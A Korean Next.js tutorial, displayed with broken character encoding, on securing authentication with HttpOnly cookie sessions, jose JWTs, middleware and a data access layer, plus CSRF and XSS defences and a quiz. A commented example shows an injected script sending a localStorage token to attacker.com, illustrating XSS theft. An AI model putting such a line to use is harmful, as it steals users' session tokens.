๐ Next.js ์ฌํ 7์ฅ: Authentication Architecture โ ๋ฏธ๋ค์จ์ด + DAL + ์ธ์ ๋ณด์ ์ค๊ณ
๐ ๊ฐ์
Middleware + DAL + Session ํจํด์ผ๋ก Next.js ์ฑ์ ์ธ์ฆ์ ์์ ํ๊ฒ ์ค๊ณํฉ๋๋ค.
๐ ๋ชฉ์ฐจ
- ๐ ์ด ๋ฌธ์๋ฅผ ์ฝ๊ธฐ ์ ์
- ๐ค ์ ์์์ผ ํ๋๊ฐ
- ๐๏ธ ๋น์ ๋ก ๋จผ์ ์ดํดํ๊ธฐ
- ๐งฉ ์ธ์ฆ(Authentication)์ ์ธ ๊ธฐ๋ฅ ๐ข
- ๐ ์ธ์ ๊ด๋ฆฌ: HttpOnly ์ฟ ํค vs localStorage ๐ก
- ๐ก๏ธ ์ธ์ ์์ฑ๊ณผ ๊ฒ์ฆ ๊ตฌํ ๐ก
- ๐ช ๋ฏธ๋ค์จ์ด + DAL 2๋จ๊ณ ๋ฐฉ์ด ๊ตฌ์กฐ ๐ด
- ๐ ๋ณด์ ๊ฐํ: CSRF, XSS ๋ฐฉ์ด ๐ด
- ๐ฅ ์๋ฌ ํด๊ฒฐ ์นดํ๋ก๊ทธ
- [๐ ์ด๋ฒ์ ๋ฐฐ์ด ๋ด์ฉ ์ด์ ๋ฆฌ](#-์ด๋ฒ์ ๋ฐฐ์ด-๋ด์ฉ-์ด์ ๋ฆฌ)
- ๐ ๋ง๋ฌด๋ฆฌ ํด์ฆ
- ๐ ๋ ์์๋ณด๊ธฐ
๐ ์ด ๋ฌธ์๋ฅผ ์ฝ๊ธฐ ์ ์
โฑ๏ธ ์์ ์ฝ๊ธฐ ์๊ฐ: 20๋ถ (์ ์ฒด) / ํต์ฌ ํํธ๋ง: 10๋ถ
๐บ๏ธ ์ด ๋ฌธ์์ ๋ฐฐ๊ฒฝ ์ธ๊ณ๊ด: '์์๋ค ์ปค๋ฎค๋ํฐ'
- ์์ฒ (์ ์
): "๋ก๊ทธ์ธ ๊ธฐ๋ฅ ๋ง๋ค์๋๋ฐ์, ๋ก๊ทธ์ธ ์ฑ๊ณตํ๋ฉด JWT๋ฅผ
localStorage์ ์ ์ฅํ๊ณ ์์ด์. API ํธ์ถํ ๋๋ง๋คAuthorization: Bearer ${token}ํค๋ ๋ถ์ด๊ณ ์. ์ด๊ฒ ๋ณดํต ํ๋ ๋ฐฉ์ ์๋๊ฐ์?" - ์ํธ(๋ฆฌ๋): "์์ฒ ๋... ๊ทธ ๋ฐฉ๋ฒ์ XSS ๊ณต๊ฒฉ์ ์์ ํ ๋ฌด๋ฐฉ๋น์์. JS๋ก
localStorage์ ์ ๊ทผํ ์ ์์ผ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ ํ๋๋ง ์ฝ์ ๋๋ฉด ๋ชจ๋ ์ฌ์ฉ์ ํ ํฐ์ด ํ์ทจ๋ผ์. Next.js App Router์์๋HttpOnly์ฟ ํค๋ก ํ ํฐ์ ๋ณดํธํ๊ณ , ์๋ฒ ์ปดํฌ๋ํธ์์๋ง ์ธ์ ์ ๊ฒ์ฆํด์ผ ํด์."
๐บ๏ธ ์ด ๋ฌธ์์ ํ๋ฆ
์ธ์ฆ์ 3๊ธฐ๋ฅ โ ์ธ์
์ ์ฅ ๋ฐฉ๋ฒ ๋น๊ต โ ์ธ์
์์ฑ/๊ฒ์ฆ ๊ตฌํ โ ๋ฏธ๋ค์จ์ด + DAL 2๋จ๊ณ ๋ฐฉ์ด โ ๋ณด์ ํค๋
๐ฏ ์ด ๋ฌธ์๋ฅผ ๋ค ์ฝ์ผ๋ฉด ํ ์ ์๋ ๊ฒ
-
localStorage๋์HttpOnly์ฟ ํค๋ก ์ธ์ ์ ์์ ํ๊ฒ ๊ด๋ฆฌํ ์ ์๋ค - ๋ฏธ๋ค์จ์ด(1์ฐจ)์ DAL(2์ฐจ)๋ก ์ด์ค ์ธ์ฆ ์ฒด๊ณ๋ฅผ ์ค๊ณํ ์ ์๋ค
- CSRF์ XSS ๊ณต๊ฒฉ์ด ์ด๋ป๊ฒ ๋์ํ๊ณ ์ด๋ป๊ฒ ๋ฐฉ์ดํ๋์ง ์ค๋ช ํ ์ ์๋ค
๐ค ์ ์์์ผ ํ๋๊ฐ
์ธ์ฆ์ "์ด ์ฌ๋์ด ๋๊ตฌ์ธ๊ฐ?" ๋ฅผ ํ์ธํ๋ ๊ณผ์ ์ด์ผ. ์๋ชป ๊ตฌํํ๋ฉด ์๋น์ค์ ๋ชจ๋ ๋ฐ์ดํฐ๊ฐ ์ํํด์ ธ.
Next.js App Router๊ฐ ๋ฑ์ฅํ๋ฉด์ ์ธ์ฆ ๊ตฌํ ๋ฐฉ์์ด ํฌ๊ฒ ๋ฐ๋์์ด:
- ๊ณผ๊ฑฐ SPA ๋ฐฉ์: ํด๋ผ์ด์ธํธ์์ API ํธ์ถ โ JWT๋ฅผ localStorage ์ ์ฅ โ ๋ชจ๋ ์์ฒญ์ ํค๋ ์ฒจ๋ถ
- App Router ๋ฐฉ์: ์๋ฒ ์ปดํฌ๋ํธ๊ฐ ๊ธฐ๋ณธ โ ์๋ฒ์์ ์ธ์
๊ฒ์ฆ โ
HttpOnly์ฟ ํค๋ก ํ ํฐ ๋ณดํธ
์ ๋ฐ๊ฟ์ผ ํ๋๊ณ ? localStorage๋ JavaScript๋ก ์ ๊ทผ ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ด์ผ. XSS ๊ณต๊ฒฉ ํ๋๋ก ๋ชจ๋ ์ฌ์ฉ์์ ํ ํฐ์ด ํธ๋ฆด ์ ์์ด.
๐๏ธ ๋น์ ๋ก ๋จผ์ ์ดํดํ๊ธฐ
๐ง 5์ด์๊ฒ ์ค๋ช ํ๋ค๋ฉด?
๋น๋ฐ ๊ธ๊ณ ์ ์ด์ (JWT)๋ฅผ ๋ณด๊ดํ๋ค๊ณ ์์ํด๋ด.
localStorage์ ์ ์ฅ = ์ด์ ๋ฅผ ์ฑ ์ ์์ ์ฌ๋ ค๋๊ธฐ. ๋๊ตฌ๋ ๋ณผ ์ ์์ด. ๋์ ์ฌ๋์ด ๋ฐฉ์ ๋ค์ด์ค๋ฉด(XSS) ๋ฐ๋ก ๊ฐ์ ธ๊ฐ.
HttpOnly ์ฟ ํค= ์ด์ ๋ฅผ ๊ธ๊ณ ์์ ๋ฃ๊ธฐ. ์ด์ ์ฃผ์ธ(์๋ฒ)๋ง ๊บผ๋ผ ์ ์์ด. ๋์ ์ฌ๋์ด ๋ฐฉ์ ๋ค์ด์๋(XSS) ๊ธ๊ณ ๋ ๋ชป ์ด์ด.
์ธ์ฆ์ 2๋จ๊ณ ๋ฐฉ์ด:
1์ฐจ ๋ฐฉ์ด (Middleware) โ "์ด์ ์์ด์?" ๋น ๋ฅธ ์ฒดํฌ, ์์ผ๋ฉด ๋ฌธ ์์์ ์ฐจ๋จ
2์ฐจ ๋ฐฉ์ด (DAL) โ "์ด์ ๊ฐ ์ง์ง์์? ์ด ๋ฐฉ ๋ค์ด๊ฐ ๊ถํ ์์ด์?" ์ค์ ๊ฒ์ฆ
๐งฉ ์ธ์ฆ(Authentication)์ ์ธ ๊ธฐ๋ฅ ๐ข
๐ฏ ์ด ์น์ ์ ์ฝ๊ณ ๋๋ฉด:
- ์ธ์ฆ, ์ธ์ ๊ด๋ฆฌ, ๊ถํ ๋ถ์ฌ์ ์ฐจ์ด๋ฅผ ๋ช ํํ ๊ตฌ๋ถํ ์ ์๋ค
Next.js ์ธ์ฆ ์์คํ ์ ์ธ ๊ฐ์ง ๊ฐ๋ ์ผ๋ก ๋๋์ด:
| ๊ธฐ๋ฅ | ์๋ฏธ | ๋ด๋น ์์น |
|---|---|---|
| ์ธ์ฆ(Authentication) | "๋น์ ์ด ๋๊ตฌ์ธ๊ฐ?" โ ์ ์ ํ์ธ | Server Action (๋ก๊ทธ์ธ ์ฒ๋ฆฌ) |
| ์ธ์ ๊ด๋ฆฌ(Session) | "๋น์ ์ด ๋ก๊ทธ์ธํ ์ํ์์ ๊ธฐ์ต" | HttpOnly ์ฟ ํค + ์ํธํ |
| ๊ถํ ๋ถ์ฌ(Authorization) | "์ด ์์ ์ ํ ๊ถํ์ด ์๋๊ฐ?" | Middleware (1์ฐจ) + DAL (2์ฐจ) |
๐ ์ธ์ ๊ด๋ฆฌ: HttpOnly ์ฟ ํค vs localStorage ๐ก
๐ฏ ์ด ์น์ ์ ์ฝ๊ณ ๋๋ฉด:
HttpOnly์ฟ ํค์localStorage์ ๋ณด์ ์ฐจ์ด๋ฅผ ์ค๋ช ํ ์ ์๋ค- App Router์์
HttpOnly์ฟ ํค๋ฅผ ์ฌ์ฉํด์ผ ํ๋ ์ด์ ๋ฅผ ์ดํดํ๋ค
๐ค ์ ๊น, ๋จผ์ ์๊ฐํด๋ด
๋ธ๋ผ์ฐ์ ์์document.cookie๋ก ๋ชจ๋ ์ฟ ํค๋ฅผ ์ฝ์ ์ ์๋ค๊ณ ์๊ณ ์์ง?
๊ทธ๋ฐ๋ฐHttpOnly์ฟ ํค๋document.cookie๋ก ์ฝ์ ์ ์์ด. ์ ๊ทธ๋ด๊น?
๋น๊ต:
| ํน์ฑ | localStorage | HttpOnly ์ฟ ํค |
|---|---|---|
| JS ์ ๊ทผ | localStorage.getItem() ๊ฐ๋ฅ | โ JS ์ ๊ทผ ๋ถ๊ฐ |
| XSS ์ทจ์ฝ์ฑ | ๐ด ๋งค์ฐ ์ทจ์ฝ (JS ํ์ทจ ๊ฐ๋ฅ) | ๐ข ๋ณดํธ๋จ |
| SSR ์ง์ | โ ์๋ฒ์์ ์ฝ๊ธฐ ๋ถ๊ฐ | โ ์๋ฒ ์์ฒญ๋ง๋ค ์๋ ์ ์ก |
| ์๋ฒ ์ปดํฌ๋ํธ ํธํ | โ ๋ถ๊ฐ | โ
cookies() API๋ก ์ฝ๊ธฐ ๊ฐ๋ฅ |
| ๋ง๋ฃ ์ค์ | ์๋ ์ฒ๋ฆฌ ํ์ | ๋ธ๋ผ์ฐ์ ๊ฐ ์๋ ์ฒ๋ฆฌ |
// โ ์์ฒ ์ด์ ์ํํ ๋ฐฉ์ โ localStorage ์ฌ์ฉ
// ํด๋ผ์ด์ธํธ ์ปดํฌ๋ํธ์์
const token = localStorage.getItem('auth_token')
// XSS ๊ณต๊ฒฉ์ผ๋ก ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์
๋๋ฉด:
// document.querySelector('script').textContent = `
// fetch('https://attacker.com?' + localStorage.getItem('auth_token'))
// `
// ํ ํฐ์ด ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์ ์ก๋จ!
// โ
์ํธ์ ์์ ํ ๋ฐฉ์ โ HttpOnly ์ฟ ํค
// Server Action์์ ์ฟ ํค ์ค์ (์๋ฒ์์๋ง ์คํ)
(await cookies()).set('session', encryptedToken, {
httpOnly: true, // JS ์ ๊ทผ ๋ถ๊ฐ โ XSS ๋ฐฉ์ด
secure: true, // HTTPS์์๋ง ์ ์ก
sameSite: 'lax', // CSRF ๋ฐฉ์ด
maxAge: 60 * 60 * 24 * 7, // 7์ผ
})๐ก๏ธ ์ธ์ ์์ฑ๊ณผ ๊ฒ์ฆ ๊ตฌํ ๐ก
๐ฏ ์ด ์น์ ์ ์ฝ๊ณ ๋๋ฉด:
jose๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก JWT๋ฅผ ์์ฑํ๊ณ ๊ฒ์ฆํ ์ ์๋ค- Server Action์ผ๋ก ๋ก๊ทธ์ธ์ ์ฒ๋ฆฌํ๋ ์ ์ฒด ํ๋ฆ์ ๊ตฌํํ ์ ์๋ค
// lib/auth.ts โ ์ธ์
์ํธํ/๋ณตํธํ
import 'server-only'
import { SignJWT, jwtVerify } from 'jose' // Edge ํธํ JWT ๋ผ์ด๋ธ๋ฌ๋ฆฌ
const secretKey = process.env.SESSION_SECRET!
const encodedKey = new TextEncoder().encode(secretKey)
type SessionPayload = {
userId: string
role: 'user' | 'admin'
expiresAt: Date
}
// ์ธ์
์ํธํ (JWT ์์ฑ)
export async function encrypt(payload: SessionPayload): Promise<string> {
return new SignJWT(payload)
.setProtectedHeader({ alg: 'HS256' })
.setIssuedAt()
.setExpirationTime('7d') // 7์ผ ๋ง๋ฃ
.sign(encodedKey)
}
// ์ธ์
๋ณตํธํ (JWT ๊ฒ์ฆ)
export async function decrypt(token: string): Promise<SessionPayload | null> {
try {
const { payload } = await jwtVerify(token, encodedKey, {
algorithms: ['HS256'],
})
return payload as unknown as SessionPayload
} catch {
// ํ ํฐ์ด ๋ง๋ฃ๋๊ฑฐ๋ ๋ณ์กฐ๋ ๊ฒฝ์ฐ
return null
}
}// lib/session.ts โ ์ธ์
์์ฑ/์กฐํ/์ญ์
import 'server-only'
import { cookies } from 'next/headers'
import { encrypt, decrypt } from './auth'
export async function createSession(userId: string, role: 'user' | 'admin') {
const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
const session = await encrypt({ userId, role, expiresAt })
const cookieStore = await cookies()
cookieStore.set('session', session, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
expires: expiresAt,
path: '/',
})
}
export async function getSession() {
const cookieStore = await cookies()
const sessionCookie = cookieStore.get('session')?.value
if (!sessionCookie) return null
return decrypt(sessionCookie)
}
export async function deleteSession() {
const cookieStore = await cookies()
cookieStore.delete('session')
}// lib/actions/auth.actions.ts โ ๋ก๊ทธ์ธ Server Action
'use server'
import { redirect } from 'next/navigation'
import { createSession } from '../session'
import { db } from '../db'
import bcrypt from 'bcryptjs'
export async function login(prevState: unknown, formData: FormData) {
const email = formData.get('email') as string
const password = formData.get('password') as string
// DB์์ ์ฌ์ฉ์ ์กฐํ
const user = await db.user.findUnique({ where: { email } })
// ๋น๋ฐ๋ฒํธ ๊ฒ์ฆ (bcrypt๋ ์๋ฒ์์๋ง ์คํ โ Node.js Runtime)
if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
return { error: '์ด๋ฉ์ผ ๋๋ ๋น๋ฐ๋ฒํธ๊ฐ ์ฌ๋ฐ๋ฅด์ง ์์์' }
}
// ์ธ์
์์ฑ โ HttpOnly ์ฟ ํค์ ์ ์ฅ
await createSession(user.id, user.role)
// ๋ก๊ทธ์ธ ์ฑ๊ณต โ ๋์๋ณด๋๋ก ์ด๋
redirect('/dashboard')
}
export async function logout() {
await deleteSession()
redirect('/login')
}๐ช ๋ฏธ๋ค์จ์ด + DAL 2๋จ๊ณ ๋ฐฉ์ด ๊ตฌ์กฐ ๐ด
๐ฏ ์ด ์น์ ์ ์ฝ๊ณ ๋๋ฉด:
- ๋ฏธ๋ค์จ์ด(1์ฐจ)์ DAL(2์ฐจ)์ด ๊ฐ๊ฐ ๋ฌด์์ ๊ฒ์ฆํ๋์ง ์ค๋ช ํ ์ ์๋ค
์ 2๋จ๊ณ์ธ๊ฐ?
๋ฏธ๋ค์จ์ด(Edge)์์ ๋ฌด๊ฑฐ์ด ๊ฒ์ฆ์ ๋ถ๊ฐํด. ํ์ง๋ง DAL์์๋ง ๊ฒ์ฆํ๋ฉด ๋ณดํธ๋์ง ์์ ๊ฒฝ๋ก์์ ๋๋ฆฐ ๊ฒ์ฆ์ ๊ธฐ๋ค๋ ค์ผ ํด. ๊ทธ๋์ ์ญํ ์ ๋๋ :
// middleware.ts โ 1์ฐจ ๋ฐฉ์ด: "์ธ์
์ฟ ํค๊ฐ ์กด์ฌํ๋๊ฐ?"
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'
const PROTECTED_PATHS = ['/dashboard', '/my', '/settings', '/posts/write']
export async function middleware(request: NextRequest) {
const { pathname } = request.nextUrl
const isProtected = PROTECTED_PATHS.some((path) => pathname.startsWith(path))
if (!isProtected) return NextResponse.next()
const sessionCookie = request.cookies.get('session')?.value
// ๋น ๋ฅธ 1์ฐจ ์ฒดํฌ: ์ฟ ํค ์กด์ฌ ์ฌ๋ถ๋ง
// ์ค์ JWT ๊ฒ์ฆ์ Edge์์ jose๋ก ๊ฐ๋ฅํ์ง๋ง ์ ํ์
if (!sessionCookie) {
const loginUrl = new URL('/login', request.url)
loginUrl.searchParams.set('callbackUrl', pathname)
return NextResponse.redirect(loginUrl)
}
return NextResponse.next()
}// lib/dal.ts โ 2์ฐจ ๋ฐฉ์ด: "์ธ์
์ด ์ ํจํ๊ฐ? ์ด ์์
๊ถํ์ด ์๋๊ฐ?"
import 'server-only'
import { getSession } from './session'
import { db } from './db'
export async function verifySession() {
const session = await getSession()
if (!session) {
// ์ธ์
์์ผ๋ฉด ์ฆ์ 401 ์ฒ๋ฆฌ
throw new Error('UNAUTHORIZED')
}
return session
}
// ๊ฒ์๊ธ ์ญ์ โ ์์ฑ์ ๋๋ ๊ด๋ฆฌ์๋ง ๊ฐ๋ฅ
export async function deletePost(postId: string) {
const session = await verifySession() // ์ธ์
๊ฒ์ฆ
const post = await db.post.findUnique({ where: { id: postId } })
if (!post) throw new Error('NOT_FOUND')
// ๊ถํ ์ฒดํฌ: ์์ฑ์์ด๊ฑฐ๋ ๊ด๋ฆฌ์์ฌ์ผ ํจ
if (post.authorId !== session.userId && session.role !== 'admin') {
throw new Error('FORBIDDEN')
}
return db.post.delete({ where: { id: postId } })
}๐ ๋ณด์ ๊ฐํ: CSRF, XSS ๋ฐฉ์ด ๐ด
๐ก๏ธ CSRF ๋ฐฉ์ด โ sameSite ์ฟ ํค ์ค์
CSRF(Cross-Site Request Forgery): ์ ์ฑ ์ฌ์ดํธ์์ ์ฌ์ฉ์ ๋ชฐ๋ ์ฐ๋ฆฌ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ด๋ ๊ณต๊ฒฉ.
// sameSite ์ค์ ์ผ๋ก CSRF ๋ฐฉ์ด
cookieStore.set('session', session, {
httpOnly: true,
secure: true,
sameSite: 'lax', // ์ธ๋ถ ์ฌ์ดํธ์์ POST ์์ฒญ ์ ์ฟ ํค ์ ์ก ์ ํจ
// sameSite: 'strict' โ ๋ ๊ฐ๋ ฅํ์ง๋ง ์ผ๋ถ OAuth ๋ฆฌ๋๋ ํธ๊ฐ ๊นจ์ง ์ ์์
})Server Action์ CSRF ๋ด์ฅ ๋ฐฉ์ด:
Next.js Server Action์ ๋ด๋ถ์ ์ผ๋ก CSRF ํ ํฐ ์์ด๋ ๋ณดํธ๋ผ. ๊ฐ Server Action ํจ์์ ์ํธํ๋ ๋น๊ฒฐ์ ์ ID๋ฅผ ํ ๋นํด์ ๊ณต๊ฒฉ์๊ฐ ์๋ํฌ์ธํธ๋ฅผ ์ ์ถํ๊ธฐ ์ด๋ ต๊ฒ ๋ง๋ค์ด.
๐ก๏ธ XSS ๋ฐฉ์ด โ CSP ํค๋
// middleware.ts์์ CSP ํค๋ ์ค์
response.headers.set(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'nonce-{nonce}'; style-src 'self' 'unsafe-inline';"
)๐ฅ ์๋ฌ ํด๊ฒฐ ์นดํ๋ก๊ทธ
โ cookies() was called outside a request scope
์์ธ: cookies()๋ฅผ Server Action์ด๋ ์๋ฒ ์ปดํฌ๋ํธ๊ฐ ์๋ ๊ณณ์์ ํธ์ถ.
ํด๊ฒฐ์ฑ
: cookies()๋ ๋ฐ๋์ ์๋ฒ ์ปดํฌ๋ํธ, Server Action, Route Handler ์์์๋ง ์ฌ์ฉํด.
โ jose ํ ํฐ ๊ฒ์ฆ ์คํจ โ JWTExpired
์์ธ: ํ ํฐ ๋ง๋ฃ. ์ ์์ ์ธ ๋์์ด์ง๋ง ํธ๋ค๋ง์ด ํ์.
ํด๊ฒฐ์ฑ :
try {
const { payload } = await jwtVerify(token, encodedKey)
return payload
} catch (err) {
if (err instanceof errors.JWTExpired) {
// ๋ง๋ฃ โ ๋ฆฌํ๋ ์ ๋๋ ์ฌ๋ก๊ทธ์ธ ์ ๋
return null
}
// ๊ธฐํ ๊ฒ์ฆ ์คํจ
return null
}๐ ์ด๋ฒ์ ๋ฐฐ์ด ๋ด์ฉ ์ด์ ๋ฆฌ
๐ ์ธ์ฆ ๊ตฌํ ์ฒดํฌ๋ฆฌ์คํธ
| ํญ๋ชฉ | ๊ตฌํ ์์น | ์ค์๋ |
|---|---|---|
์ธ์
์ํธํ (jose) | lib/auth.ts | ํ์ |
HttpOnly ์ฟ ํค ์ค์ | lib/session.ts | ํ์ |
| ๋ก๊ทธ์ธ Server Action | lib/actions/auth.actions.ts | ํ์ |
| 1์ฐจ ๋ฏธ๋ค์จ์ด ๋ฐฉ์ด | middleware.ts | ํ์ |
| 2์ฐจ DAL ๋ฐฉ์ด | lib/dal.ts | ํ์ |
server-only import | lib/ ํ์ผ ์ต์๋จ | ๊ฐ๋ ฅ ๊ถ์ฅ |
โ ๏ธ ์ ๋ ํ์ง ๋ง ๊ฒ
| ์ํฉ | โ ๋์ ์ | โ ์ข์ ์ |
|---|---|---|
| ํ ํฐ ์ ์ฅ | localStorage.setItem('token', jwt) | HttpOnly ์ฟ ํค |
| ๋ฏธ๋ค์จ์ด๋ง์ผ๋ก ๋ณดํธ | Middleware๋ง ๋ฏฟ๊ณ DAL ๊ฒ์ฆ ์๋ต | Middleware + DAL ์ด์ค ๋ฐฉ์ด |
| ๊ถํ ์ฒดํฌ ์์น | ํด๋ผ์ด์ธํธ ์ปดํฌ๋ํธ์์ | ์๋ฒ(DAL)์์ ์ต์ข ๊ฒ์ฆ |
๐ ๋ง๋ฌด๋ฆฌ ํด์ฆ
Q1. HttpOnly ์ฟ ํค๊ฐ XSS ๊ณต๊ฒฉ์ ๊ฐํ ์ด์ ๋?
- A) ์ฟ ํค ๊ฐ์ด ์ํธํ๋์ด ์์ด์
- B) JavaScript๋ก
document.cookie๋ฅผ ํตํด ์ ๊ทผํ ์ ์์ด์ - C) HTTPS์์๋ง ์ ์ก๋์ด์
- D) ์ฟ ํค์ ๋ง๋ฃ ์๊ฐ์ด ์งง์์
โ ์ ๋ต: B
ํด์ค:
HttpOnly์์ฑ์ ๋ธ๋ผ์ฐ์ ์๊ฒ "์ด ์ฟ ํค๋ JavaScript๋ก ์ ๊ทผ ๋ถ๊ฐ"๋ผ๊ณ ์๋ ค. XSS๋ก ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋ผ๋document.cookie๋ก ์ด ์ฟ ํค๋ฅผ ์ฝ์ ์ ์์ด. ์ํธํ(A)์ HTTPS(C)๋ ๋ณ๊ฐ์ ๋ณด์ ์์์ผ.๐ ํต์ฌ ๊ธฐ์ต๋ฒ:
HttpOnly= "HTTP ์์ฒญ์๋ง ์ฌ์ฉ, JS๋ ๊ฑด๋ค์ง ๋ง."
Q2. ๋ค์ ์ค ๋ฏธ๋ค์จ์ด์์ ํด์ผ ํ๋ ๊ฒ๊ณผ DAL์์ ํด์ผ ํ๋ ๊ฒ์ ์ฌ๋ฐ๋ฅด๊ฒ ์ง์ง์ ๊ฒ์?
- A) ๋ฏธ๋ค์จ์ด: DB์์ ์ฌ์ฉ์ ๊ถํ ์กฐํ / DAL: ์ฟ ํค ์กด์ฌ ์ฌ๋ถ ํ์ธ
- B) ๋ฏธ๋ค์จ์ด: ์ฟ ํค ์กด์ฌ ์ฌ๋ถ ํ์ธ / DAL: JWT ์ ํจ์ฑ + ๊ถํ ๊ฒ์ฆ
- C) ๋ฏธ๋ค์จ์ด: JWT ์์ ๊ฒ์ฆ / DAL: ๋น๋ฐ๋ฒํธ ํ์ธ
- D) ๋ฏธ๋ค์จ์ด: ๊ถํ ๋ถ์ฌ / DAL: ์ธ์ ์์ฑ
โ ์ ๋ต: B
ํด์ค: Middleware๋ Edge์์ ๋น ๋ฅด๊ฒ ์คํ๋ผ์ผ ํ๋ "์ฟ ํค ์๋?"๋ง ํ์ธ. ๋ฌด๊ฑฐ์ด DB ์กฐํ๋ JWT ์์ ๊ฒ์ฆ์ DAL์์.
๐ ํต์ฌ ๊ธฐ์ต๋ฒ: "Middleware = ๊ฒฝ๋น์ ๋ ํ์ธ, DAL = ์ ๋ถ์ฆ ์ง์ง์ธ์ง ์ ๋ฐ ๊ฒ์ฌ."
Q3. ์น๊ตฌ์๊ฒ ์ค๋ช ํ๋ค๋ฉด?
CSRF ๊ณต๊ฒฉ์ด ์ด๋ป๊ฒ ๋์ํ๋์ง,
sameSite: 'lax'๊ฐ ์ด๋ป๊ฒ ๋ง๋์ง ์ค๋ช ํด๋ด.
์์ ๋ต๋ณ:
"CSRF๋ ๊ฐ์ง ์ฌ์ดํธ์์ ๋ชฐ๋ ์ฐ๋ฆฌ ์๋ฒ์ ์์ฒญ ๋ณด๋ด๋ ๊ณต๊ฒฉ์ด์ผ. ์๋ฅผ ๋ค์ด evil.com์์ ๋ฒํผ ํด๋ฆญํ๋ฉด youngsu.community/delete-account๋ก POST ์์ฒญ์ด ๊ฐ. ๋ธ๋ผ์ฐ์ ๋ ์ฟ ํค๋ฅผ ์๋์ผ๋ก ๋ถ์ฌ๋ณด๋ด๋๊น ๋ก๊ทธ์ธํ ๊ฒ์ฒ๋ผ ์ฒ๋ฆฌ๋ ์ ์์ด.
sameSite: 'lax'๋ '๋ค๋ฅธ ์ฌ์ดํธ์์ ์์๋ POST ์์ฒญ์ ์ฟ ํค ๋ณด๋ด์ง ๋ง'์ผ. evil.com โ youngsu.community POST ์์ฒญ์ ์ธ์ ์ฟ ํค๊ฐ ์ ๋ถ์ด์ CSRF๊ฐ ์คํจํด."
๐ฃ ์์ฒ ์ด์ ํด๊ทผ ์ผ๊ธฐ
์ค๋์ ์ ๋ง ๋ฅ์คํธ์ ๋ณด์ ์์๋ฅผ ๊ตฌ์ถํ๋ 'Authentication Architecture' ๋ฅผ ๋ฐฐ์ฐ๋ฉด์ ๊ฐ๋ฐ์๋ก์์ ์ฑ ์๊ฐ์ ๋ฌด๊ฒ๊ฒ ๋๋ ๋ ์ด์ผ. ๊ทธ๋์ ๋จ์ํ "๋ก๊ทธ์ธํ๋ฉด ๋" ์ธ ์ค ์์๋๋ฐ, HttpOnly ์ฟ ํค๋ถํฐ ๋ฏธ๋ค์จ์ด์ DAL์ 2๋จ๊ณ ๋ฐฉ์ด๋ง๊น์ง... ์ ๋ง ๊ผผ๊ผผํ๊ฒ ์ค๊ณํด์ผ ํ๋ค๋ ๊ฑธ ๊นจ๋ฌ์์ด.
๐ก ์ค๋์ ๊ตํ: "๋ณด์์ ํธ์์ฑ๊ณผ ํํํ ์ ์๋ ์์ญ์ด๋ค.
HttpOnly์ฟ ํค๋ก XSS๋ฅผ ๋ง๊ณ , ๋ฏธ๋ค์จ์ด(1์ฐจ)์ DAL(2์ฐจ)์ ์ด์ค ๋ฐฉ์ด๋ง์ผ๋ก ์๋น์ค์ ์์ ์ ๋๊น์ง ์ฑ ์์ง์!"
์ํธ ๋ฆฌ๋ ๋์ด ๊ฒฝ๋น์๊ณผ ์ ๋ถ์ฆ ๋น์ ๋ฅผ ๋ค์ด ์ค๋ช ํด ์ฃผ์ค ๋, ๋ณต์กํ ์ธ์ฆ ํ๋ฆ์ด ๋จธ๋ฆฟ์์ ์ง๋์ฒ๋ผ ๊ทธ๋ ค์ง๋๋ผ. ์ฌ์ฉ์์ ์์คํ ์ ๋ณด๋ฅผ ์งํค๋ ๊ฒ ์ผ๋ง๋ ๊ฐ์น ์๋ ์ผ์ธ์ง ๋ค์ ํ๋ฒ ์๊ฐํ๊ฒ ๋์ด. ์ค๋ ๋๋ฌด ๊ธด์ฅํ๋ฉด์ ์ฝ๋๋ฅผ ์งฐ๋๋ ์จ๋ชธ์ด ์ฐ๋ฆฟ์ฐ๋ฆฟํ๋ค. ํด๊ทผํ๊ณ ์ง ๊ฐ์ ๋ฐ๋ปํ ๋ฌผ๋ก ์ค์ํ๊ณ ํน ์ฌ์ด์ผ์ง. ๋ด์ผ์ ๋ '๋ฏฟ์์งํ' ์๋น์ค๋ฅผ ๋ง๋๋ ๊ฐ๋ฐ์๊ฐ ๋ ๊ฑฐ์ผ! ๐ฃ